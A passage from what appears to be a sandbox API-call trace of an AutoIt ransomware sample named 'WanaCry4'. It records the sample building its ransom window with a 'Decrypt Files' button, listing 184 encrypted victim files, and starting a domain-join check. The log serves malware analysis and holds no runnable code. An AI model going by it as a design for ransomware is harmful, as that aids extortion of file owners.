cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.211] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.456] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xb6216f7c0, fWinIni=0x0 | out: pvParam=0xb6216f7c0) returned 1 [0038.456] GetSystemMetrics (nIndex=7) returned 3 [0038.456] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xb6216f7c0, fWinIni=0x0 | out: pvParam=0xb6216f7c0) returned 1 [0038.456] GetSystemMetrics (nIndex=8) returned 3 [0038.456] GetSystemMetrics (nIndex=4) returned 23 [0038.456] SetRect (in: lprc=0xb6216f7c0, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0xb6216f7c0) returned 1 [0038.456] AdjustWindowRectEx (in: lpRect=0xb6216f7c0, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6216f7c0) returned 1 [0038.456] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x601e4 [0038.456] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.456] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x81, wParam=0x0, lParam=0xb6216f170) returned 0x1 [0038.457] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.457] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x83, wParam=0x0, lParam=0xb6216f1e0) returned 0x0 [0038.457] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.457] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.457] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0038.457] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.457] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0038.457] SetWindowLongPtrW (hWnd=0x601e4, nIndex=-21, dwNewLong=0x0) returned 0x0 [0038.457] GetClientRect (in: hWnd=0x601e4, lpRect=0xb6216f7c0 | out: lpRect=0xb6216f7c0) returned 1 [0038.457] GetStockObject (i=17) returned 0x10a0047 [0038.457] SendMessageW (hWnd=0x601e4, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0038.457] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.457] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0038.457] GetCursorPos (in: lpPoint=0xb6216f760 | out: lpPoint=0xb6216f760*(x=765, y=507)) returned 1 [0038.457] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f760 | out: lpPoint=0xb6216f760) returned 1 [0038.457] GetAsyncKeyState (vKey=1) returned 0 [0038.457] GetAsyncKeyState (vKey=2) returned 0 [0038.457] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f82 [0038.458] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.458] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.458] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.458] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0038.458] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.458] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x601e4, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa0182 [0038.459] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.459] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x55, wParam=0xa0182, lParam=0x3) returned 0x2 [0038.459] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.459] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0038.459] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.459] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0038.459] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.459] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0038.459] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.459] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x30001, lParam=0xa0182) returned 0x0 [0038.459] GetStockObject (i=17) returned 0x10a0047 [0038.459] SendMessageW (hWnd=0xa0182, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0038.459] GetClientRect (in: hWnd=0xa0182, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.459] GetWindowRect (in: hWnd=0xa0182, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.459] SetWindowLongPtrW (hWnd=0xa0182, nIndex=-21, dwNewLong=0x3) returned 0x0 [0038.460] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.460] GetDC (hWnd=0x0) returned 0xe010572 [0038.460] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0038.460] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0038.460] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x4f0a06dc [0038.460] SendMessageW (hWnd=0xa0182, Msg=0x30, wParam=0x4f0a06dc, lParam=0x1) returned 0x0 [0038.460] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.460] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x601e4, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb001e [0038.463] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.463] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x40001, lParam=0xb001e) returned 0x0 [0038.464] GetStockObject (i=17) returned 0x10a0047 [0038.464] SendMessageW (hWnd=0xb001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0038.464] GetWindowTextLengthW (hWnd=0xb001e) returned 0 [0038.464] SendMessageW (hWnd=0xb001e, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0038.465] GetClientRect (in: hWnd=0xb001e, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.465] GetWindowRect (in: hWnd=0xb001e, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.465] SetWindowLongPtrW (hWnd=0xb001e, nIndex=-21, dwNewLong=0x4) returned 0x0 [0038.465] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.465] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0038.465] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0038.465] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0038.466] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0038.466] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0038.466] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0038.467] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0038.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0xb62478570, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0038.467] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0038.467] SendMessageW (hWnd=0xb001e, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0038.468] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0038.468] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0038.468] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0038.469] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0038.469] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.469] CreateSolidBrush (color=0x0) returned 0x5e10056e [0038.469] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.469] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.470] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f780, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f780*=0) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f770, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f770*=0) returned 1 [0038.470] ReadFile (in: hFile=0x18c, lpBuffer=0xb6248cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f7b0, lpOverlapped=0x0 | out: lpBuffer=0xb6248cb00*, lpNumberOfBytesRead=0xb6216f7b0*=0x324a, lpOverlapped=0x0) returned 1 [0038.470] ReadFile (in: hFile=0x18c, lpBuffer=0xb6248cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f7b0, lpOverlapped=0x0 | out: lpBuffer=0xb6248cb00*, lpNumberOfBytesRead=0xb6216f7b0*=0x0, lpOverlapped=0x0) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f7f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f7f0*=12874) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f7f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f7f0*=0) returned 1 [0038.470] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f740, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f740*=0) returned 1 [0038.470] ReadFile (in: hFile=0x18c, lpBuffer=0xb6248cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f780, lpOverlapped=0x0 | out: lpBuffer=0xb6248cb00*, lpNumberOfBytesRead=0xb6216f780*=0x324a, lpOverlapped=0x0) returned 1 [0038.471] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.471] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0038.471] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.471] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.471] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f1a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f1a0*=0) returned 1 [0038.471] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f190, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f190*=0) returned 1 [0038.471] ReadFile (in: hFile=0x18c, lpBuffer=0xb6248cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f1d0, lpOverlapped=0x0 | out: lpBuffer=0xb6248cb00*, lpNumberOfBytesRead=0xb6216f1d0*=0x324a, lpOverlapped=0x0) returned 1 [0038.472] ReadFile (in: hFile=0x18c, lpBuffer=0xb6248cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f1d0, lpOverlapped=0x0 | out: lpBuffer=0xb6248cb00*, lpNumberOfBytesRead=0xb6216f1d0*=0x0, lpOverlapped=0x0) returned 1 [0038.472] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.472] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f0b0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f0b0*=12874) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f0b0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f0b0*=0) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f000, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f000*=0) returned 1 [0038.472] ReadFile (in: hFile=0x18c, lpBuffer=0xb6248cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f040, lpOverlapped=0x0 | out: lpBuffer=0xb6248cb00*, lpNumberOfBytesRead=0xb6216f040*=0x324a, lpOverlapped=0x0) returned 1 [0038.472] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.472] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.472] SetWindowTextW (hWnd=0xb001e, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0038.483] SendMessageW (hWnd=0xb001e, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0038.483] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.483] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0038.483] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.483] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.483] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.483] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0038.483] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.484] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0038.484] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0038.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xb62477cf0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0038.492] GetProcAddress 